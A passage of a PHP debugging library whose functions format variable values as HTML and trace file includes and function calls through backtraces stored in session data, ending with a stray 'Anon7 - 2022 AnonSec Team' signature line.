            && array_key_exists($varArray[3],$GLOBALS[$varArray[0]][$varArray[1]][$varArray[2]])
            && array_key_exists($varArray[4],$GLOBALS[$varArray[0]][$varArray[1]][$varArray[2]][$varArray[3]]) )
          $isNULL = true;;
        break;
        default:
          $isNULL = 'NULL';
        break;
      }
    }
    if ( $isNULL === true ) {
      #echo 'isNULL is <span class="d_s_vt">true</span><br>';
      $flag['e'] = 'is';
      $varoutput .= d__debug().$flag['_e'].' '.$flag['e'].' '.$flag['_e_'].d__debug('');
      $varoutput .= d__debug().$flag['_v'].'<span class="d_s_w">NULL</span>'.' '.$flag['_v_'].d__debug('');
    } elseif ( $isNULL === false ) {
      #echo 'isNULL is <span class="d_s_vf">false</span><br>';
      $flag['e'] = 'is';
      $varoutput .= d__debug().$flag['_e'].' '.$flag['e'].' '.$flag['_e_'].d__debug('');
      $varoutput .= d__debug().$flag['_v'].'<span class="d_s_e">unset</span>'.' '.$flag['_v_'].d__debug('');
    } else {
      #echo 'isNULL is <span class="d_s_w">NULL.</span><br>';
      $flag['e'] = 'is';
      $varoutput .= d__debug().$flag['_e'].' '.$flag['e'].' '.$flag['_e_'].d__debug('');
      $varoutput .= d__debug().$flag['_v'].'<span class="d_s_e">unset or NULL</span>'.' '.$flag['_v_'].d__debug('');
    }
  }
  return $varoutput;
}

// d__var_name_class($varName,$flag)
// Internal functions_debug only function. Called by d_Var(), d__var_array(), and d__var_line().
// Setup the variable name class.
function d__var_name_class($varName,$flag) {
  // Setup the name class.
  #$flag['_n'] = '';
  $flag['_n'] = trim($flag['a'].$flag['_np']);
  if ( $flag['_n'] ) {
    $flag['_n'] = '<span class="'.$flag['_n'].'">';
    $flag['_n_'] = '</span>';
  } else {
    $flag['_n_'] = '';
  }
  return d__debug().$flag['_n'].$varName.$flag['_n_'].d__debug('');
}

// d__var_quote($var)
// Internal functions_debug only function. Called by d__var_array().
// Returns the $var within single quotes ('') if not numeric else returns $var.
// $var = Variable value.
// Called by d_Var().
function d__var_quote($var) {
  if ( !is_numeric($var) ) {
    return d__debug()."'".$var."'".d__debug('');
  } else {
    return d__debug().$var.d__debug('');
  }
}

// d__var_value($var, $flagAdd, $flag)
// Returns a formatted value of a variable or array.
// Called by d_Var and t_Func.
//     $var = The variable value.
// $flagAdd = Set to 'h' to not quote or htmlspecialchars() $var.
function d__var_value($var, $flagAdd=false,$flag=array()) {
  #echo '$flagAdd='.$flagAdd."<br>\n";
	if ( !isset($flag['_q']) ) $flag['_q'] = "'";
  if (isset($var)) {
    if ( !is_array($var) ) {
      if ( $var === true ) {
        $DEBUGVarValue = d__debug().'<span class="d_s_vt">true</span>'.d__debug('');
      } elseif ( $var === false ) {
        $DEBUGVarValue = d__debug().'<span class="d_s_vf">false</span>'.d__debug('');
      } elseif ( is_resource($var) ) {
        $DEBUGVarValue = d__debug().d_Var('',$var,$flagAdd.'-',debug_backtrace()).d__debug('');
      } elseif ( is_numeric($var) ) {
        $DEBUGVarValue = d__debug().$var.d__debug('');
      } elseif ( gettype($var) == 'string' ) {
        if ( strpos($flagAdd,'h') === false ) {
          $DEBUGVarValue = d__debug().$flag['_q'].htmlspecialchars($var).$flag['_q'].d__debug('');
        } else {
          $DEBUGVarValue = d__debug().$var.d__debug('');
        }
      } else {
        $DEBUGVarValue = d__debug().'<span class="d_s_vf">'.gettype($var).'</span>'.d__debug('');
      }
    } else {
      $DEBUGVarValue = d__debug().'<span class="d_s_an">Array('.d__debug('');
      foreach ($var as $key => $value) {
        if ( !is_array($value) ) {
          if ( strpos($flagAdd,'h') === false ) {
            $DEBUGVarValue .= d__debug().'<span class="d_s_ap">['.$key.']=</span><span class="d_s_dn">'.htmlspecialchars($value).'</span>, '.d__debug('');
          } else {
            $DEBUGVarValue .= d__debug().'<span class="d_s_ap">['.$key.']=</span><span class="d_s_dn">'.$value.'</span>, '.d__debug('');
          }
        } else {
          $DEBUGVarValue .= d__debug().'<span class="d_s_ap">['.$key.']=</span>'.d__var_value($value,$flagAdd,$flag).', '.d__debug('');
        }
      }
      $DEBUGVarValue = d__debug().substr($DEBUGVarValue,0,strlen($DEBUGVarValue)-2).')</span>'.d__debug('');
    }
  } else {
    $DEBUGVarValue = d__debug().'<span class="d_s_e">unset</span>'.d__debug('');
  }
  return $DEBUGVarValue;
}

/** /
// t_Begin($codePage)
// Begin tracking for this include file. Should be at the beginning of every .phpinc file.
// $codePage = If true turn on code debugging for the page.
function t_Begin($codePage=false) {
  if ( $GLOBALS['TRACK'] ) {
    $codePageOriginal = $GLOBALS['DEBUG']['codePage']; // Remember codePage state in case function turns on DEBUG.
    $GLOBALS['DEBUG']['codePage'] = false; // Turn on codePage for this function.
    #d_Status();
    $backtrace = debug_backtrace(); // Get caller information.
    if ( $GLOBALS['DEBUG']['codePage'] ) {
      $_SESSION['t_BeginLastFile'] = basename($backtrace['0']['file']);
      $_SESSION['t_BeginLastLine'] = $backtrace['0']['line'];
      if ( $codePage ) { echo "\$codePage is true"; } else { echo "\$codePage is false"; } echo " in call by ".$_SESSION['t_BeginLastFile'].':'.$_SESSION['t_BeginLastLine'].".<br>";
    }
    $GLOBALS['t_include'] = array(); // Store backtrace file and line.
    $GLOBALS['t_include']['file'] = $backtrace['1']['file'];
    $GLOBALS['t_include']['line'] = $backtrace['1']['line'];
    if ( isset($_SESSION['PageHeaderLoaded']) ) echo "\n<!-- BEGIN ".str_replace(array("\\",$_SESSION['ROOT']['directory']),array("/",""),$backtrace['0']['file'])." -->\n";
    if ( isset($_SESSION['TRACK']['data']) ) {
      $_SESSION['TRACK']['data'] .= t_Indent().'<li><b>'.basename($backtrace['0']['file']).'</b>:'.$backtrace['0']['line'].' <span class="d_s_fp">('.$backtrace['0']['file'].') (included by '.$backtrace['1']['file'].":".$backtrace['1']['line'].")</span>";  // Start the track line.
      $_SESSION['TRACK']['data'] .= t_Indent()."\n";  // End the track line
      $_SESSION['TRACK']['indent'] += 1;
      $_SESSION['TRACK']['ol'] += 1;
      $_SESSION['TRACK']['data'] .= t_Indent().'<ol class="d_s_op">'."\n"; $_SESSION['TRACK']['indent'] += 1;
    }
    $codePageFunction = $GLOBALS['DEBUG']['codePage'];
    $GLOBALS['DEBUG']['codePage'] = $codePageOriginal; // Return to original codePage state if function turned on DEBUG.
    if ( !isset($GLOBALS['DEBUG']['t_Begin']) ) $GLOBALS['DEBUG']['t_Begin'] = array();
    array_unshift($GLOBALS['DEBUG']['t_Begin'],$GLOBALS['DEBUG']['codePage']); // Remember $GLOBALS['DEBUG']['codePage'] state.
    if ( $GLOBALS['DEBUG']['codePage'] != $codePage ) { $codePageChange = true; } else { $codePageChange = false; }
    $GLOBALS['DEBUG']['codePage'] = $codePage; // Turn on code debugging for the page if it was begun by t_Begin(true).
    if ( $codePageFunction && $codePageChange ) {
      if ( $GLOBALS['DEBUG']['codePage'] ) { echo "\$GLOBALS['DEBUG']['codePage'] changed to true"; } else { echo "\$GLOBALS['DEBUG']['codePage'] changed to false"; } echo " by ".$_SESSION['t_BeginLastFile'].':'.$_SESSION['t_BeginLastLine'].".<br>";
    }
  }
}

// t_End()
// End tracking for this include file. Should be at the end of every .phpinc file.
function t_End($backtrace=false) {
  if ( $GLOBALS['TRACK'] ) {
    $codePageOriginal = $GLOBALS['DEBUG']['codePage']; // Remember codePage state in case function turns on DEBUG.
    $GLOBALS['DEBUG']['codePage'] = false; // Turn on codePage for this function.
    if ( !$backtrace ) $backtrace = debug_backtrace(); // Get caller information.
    if ( $GLOBALS['DEBUG']['codePage'] ) {
      $_SESSION['t_BeginLastFile'] = basename($backtrace['0']['file']);
      $_SESSION['t_BeginLastLine'] = $backtrace['0']['line'];
    }
    if ( isset($_SESSION['PageHeaderLoaded']) ) echo "\n<!-- END   ".str_replace(array("\\",$_SESSION['ROOT']['directory']),array("/",""),$backtrace['0']['file'])." -->\n";
    if ( isset($_SESSION['TRACK']['data']) ) {
      $_SESSION['TRACK']['indent']--;
      $_SESSION['TRACK']['ol']--;
      $_SESSION['TRACK']['data'] .= t_Indent()."</ol>\n";
      $_SESSION['TRACK']['data'] .= t_Indent().'End '.basename($backtrace['0']['file']).':'.$backtrace['0']['line']."\n";
      $_SESSION['TRACK']['indent']--;
      $_SESSION['TRACK']['data'] .= t_Indent()."</li>\n";
    }
    $codePageFunction = $GLOBALS['DEBUG']['codePage'];
    $GLOBALS['DEBUG']['codePage'] = $codePageOriginal; // Return to original codePage state if function turned on DEBUG.
    if ( isset($GLOBALS['DEBUG']['t_Begin']) ) { // Return codePage to state before t_Begin() call.
      $codePage = array_shift($GLOBALS['DEBUG']['t_Begin']);
      if ( !is_null($codePage) ) {
        if ( $codePageFunction ) {
          if ( $codePage ) { echo "\$GLOBALS['DEBUG']['codePage'] changed to true"; } else { echo "\$GLOBALS['DEBUG']['codePage'] changed to false"; } echo " on return from ".$_SESSION['t_BeginLastFile'].':'.$_SESSION['t_BeginLastLine'].".<br>";
        }
        $GLOBALS['DEBUG']['codePage'] = $codePage; 
      } else {
        if ( $codePageFunction ) {
          echo "\$codePage is null on return from ".$_SESSION['t_BeginLastFile'].':'.$_SESSION['t_BeginLastLine'].".<br>";
        }
      }
    } else {
      if ( $codePageFunction ) {
        echo "\$GLOBALS['DEBUG']['t_Begin'] is unset on return from ".$_SESSION['t_BeginLastFile'].':'.$_SESSION['t_BeginLastLine'].".<br>";
      }
    }
  }
}

// t_Func($funcResult, $backtrace)
// Track a function and return value. Call just before the return statement.
// $funcResult = The function result.
//  $backtrace = Calling file/function backtrace. Default is calling file/function.
function t_Func($funcResult, $backtrace=false) {
  #d_Var("\$_SESSION['TRACK']['data']",$_SESSION['TRACK']['data']);
  if ( $GLOBALS['TRACK'] ) {
    $codePageOriginal = $GLOBALS['DEBUG']['codePage']; // Remember codePage state in case function turns on DEBUG.
    $GLOBALS['DEBUG']['codePage'] = false; // Turn on codePage for this function.
    if ( isset($_SESSION['TRACK']['data']) ) {
      if ( !$backtrace ) $backtrace = debug_backtrace(); // Get caller information.
      if ( isset($GLOBALS['backtraceShow']) && $GLOBALS['backtraceShow'] ) {
        d_Var('count($backtrace)',count($backtrace));
        d_Var('$backtrace',$backtrace);
      }
      for ($backtrace_index=0; $backtrace_index<count($backtrace); $backtrace_index++) {
        if ( isset($backtrace[$backtrace_index]['file']) && isset($backtrace[$backtrace_index]['function']) && $backtrace[$backtrace_index]['function'] != 't_Func' ) break;
      }
      #$backtrace = $backtrace;
      $_SESSION['TRACK']['data'] .= t_Indent()."<li><span class=\"d_s_f\">".$backtrace[$backtrace_index]['function']."(";
      if ( $backtrace[$backtrace_index]['args'] ) {
        foreach ($backtrace[$backtrace_index]['args'] as $var) {
          $_SESSION['TRACK']['data'] .= d__var_value($var,'f').",";
        }
        $_SESSION['TRACK']['data'] = substr($_SESSION['TRACK']['data'],0,strlen($_SESSION['TRACK']['data'])-1); // Remove excess comma.
      }
      $_SESSION['TRACK']['data'] .= ")=</span>".d__var_value($funcResult,'f')."<span class=\"d_s_fl\">: ".basename($backtrace[$backtrace_index]['file']).":".$backtrace[$backtrace_index]['line'].' <span class="d_s_fp"> ('.$backtrace[$backtrace_index]['file'].")</span></span></li>\n";
    }
    $GLOBALS['DEBUG']['codePage'] = $codePageOriginal; // Return to original codePage state if function turned on DEBUG.
  }
}

// t_FuncBegin($codePage)
// Begin tracking a function call. This works like t_Begin() but for functions.
function t_FuncBegin($codePage=false) {
  if ( $GLOBALS['TRACK'] ) {
    $codePageOriginal = $GLOBALS['DEBUG']['codePage']; // Remember codePage state in case function turns on DEBUG.
    $GLOBALS['DEBUG']['codePage'] = false; // Turn on codePage for this function.
    $backtrace = debug_backtrace(); // Get caller information.
    #echo count($backtrace);
    #echo '<pre>'; print_r($backtrace); echo '</pre>'; // DEBUG t_Func.
    /** /?><pre><? print_r($backtrace); ?></pre><? // DEBUG t_Func. /** /
    $_SESSION['TRACK']['indent'] += 1;
    $_SESSION['TRACK']['data'] .= t_Indent().'<li><span class="d_s_b d_s_f">'.$backtrace[1]['function'].'</span><span class="d_s_f">(';
    foreach ($backtrace[1]['args'] as $var) {
      $_SESSION['TRACK']['data'] .= d__var_value($var,'f').",";
    }
    if ( substr($_SESSION['TRACK']['data'],-1) == ',') $_SESSION['TRACK']['data'] = substr($_SESSION['TRACK']['data'],0,-1); // Remove excess comma.
    $_SESSION['TRACK']['data'] .= ')</span> <span class="d_s_fl">'.basename($backtrace['0']['file']).':'.$backtrace['0']['line'].' <span class="d_s_fp">'.$backtrace['0']['file'].'</span></span>'."\n";
    if ( $backtrace['1'] && $backtrace['1']['file'] ) {
      $_SESSION['TRACK']['data'] .= ' <span class="d_s_fp">(called by '.$backtrace['1']['file'].':'.$backtrace['1']['line'].'</span>)'."\n";
    }
    $_SESSION['TRACK']['data'] .= '<ol class="d_s_op">'."\n";
    $_SESSION['TRACK']['indent'] += 1;
    $_SESSION['TRACK']['ol'] += 1;
    $GLOBALS['DEBUG']['codePage'] = $codePageOriginal; // Return to original codePage state if function turned on DEBUG.
    if ( !isset($GLOBALS['DEBUG']['t_Begin']) ) $GLOBALS['DEBUG']['t_Begin'] = array();
    array_unshift($GLOBALS['DEBUG']['t_Begin'],$GLOBALS['DEBUG']['codePage']); // Remember $GLOBALS['DEBUG']['codePage'] state.
    $GLOBALS['DEBUG']['codePage'] = $codePage; // Turn on code debugging for the page if it was begun by t_FuncBegin(true).
  }
}

// t_FuncEnd($backtrace)
// End tracking a function call. This works like t_End() but for functions.
//  $backtrace = Preset backtrace.  Used by pageFooter_debug.phpinc.
function t_FuncEnd($backtrace=false) {
  if ( $GLOBALS['TRACK'] ) {
    $codePageOriginal = $GLOBALS['DEBUG']['codePage']; // Remember codePage state in case function turns on DEBUG.
    $GLOBALS['DEBUG']['codePage'] = false; // Turn on codePage for this function.
    if ( !$backtrace ) {
      $backtrace = debug_backtrace(); // Get caller information.
    } else {
      $backtrace[1] = $backtrace; // Use passed backtrace.
    }
    $_SESSION['TRACK']['indent']--;
    $_SESSION['TRACK']['data'] .= t_Indent()."</ol>\n ".'<span class="d_s_f">End '.$backtrace['1']['function'].'()</span> <span class="d_s_fl">'.basename($backtrace['1']['file']).':'.$backtrace['1']['line'].' <span class="d_s_fp">'.$backtrace['1']['file'].'</span></span></li>';
    $_SESSION['TRACK']['indent']--;
    $_SESSION['TRACK']['ol']--;
    $GLOBALS['DEBUG']['codePage'] = $codePageOriginal; // Return to original codePage state if function turned on DEBUG.
    if ( isset($GLOBALS['DEBUG']['t_Begin']) ) { // Return codePage to state before t_FuncBegin() call.
      $codePage = array_shift($GLOBALS['DEBUG']['t_Begin']);
      if ( !is_null($codePage) ) {
        $GLOBALS['DEBUG']['codePage'] = $codePage; 
      }
    }
  }
}

// t_Line($lineText='', $flagList, $backtrace=false)
// Track the $lineText as well as the current filename and line.
// $lineText = The text to display.
// $flagList = A string with display flags. See d_Var().
function t_Line($lineText='', $flagList='', $backtrace=false) {
  if ( $GLOBALS['TRACK'] ) {
    $codePageOriginal = $GLOBALS['DEBUG']['codePage']; // Remember codePage state in case function turns on DEBUG.
    $GLOBALS['DEBUG']['codePage'] = false; // Turn on codePage for this function.
    if ( !$backtrace ) $backtrace = debug_backtrace(); // Get caller information.
    d_Var('',$lineText,$flagList.'-nt"',$backtrace); // Call d_Var with -nt (Do not display output, Do not show the variable name, Display the output in TRACKing)
    $GLOBALS['DEBUG']['codePage'] = $codePageOriginal; // Return to original codePage state if function turned on DEBUG.
  }
}

// t_Var($varName, $var, $flagList)
// Track the value of a variable, array, or result with the calling file and line number.
//  $varName = The name of the variable.
//      $var = The variable.
// $flagList = A string with display flags. See d_Var().
function t_Var($varName, $var, $flagList='') {
  if ( $GLOBALS['TRACK'] ) {
    $codePageOriginal = $GLOBALS['DEBUG']['codePage']; // Remember codePage state in case function turns on DEBUG.
    $GLOBALS['DEBUG']['codePage'] = false; // Turn on codePage for this function.
    d_Var($varName,$var,$flagList.'-t',debug_backtrace()); // Call d_Var with -t (Do not display output, Display the output in TRACKing)
    $GLOBALS['DEBUG']['codePage'] = $codePageOriginal; // Return to original codePage state if function turned on DEBUG.
  }
}
/**/

#t_End(); // End TRACKing included file.
?>

Anon7 - 2022
AnonSec Team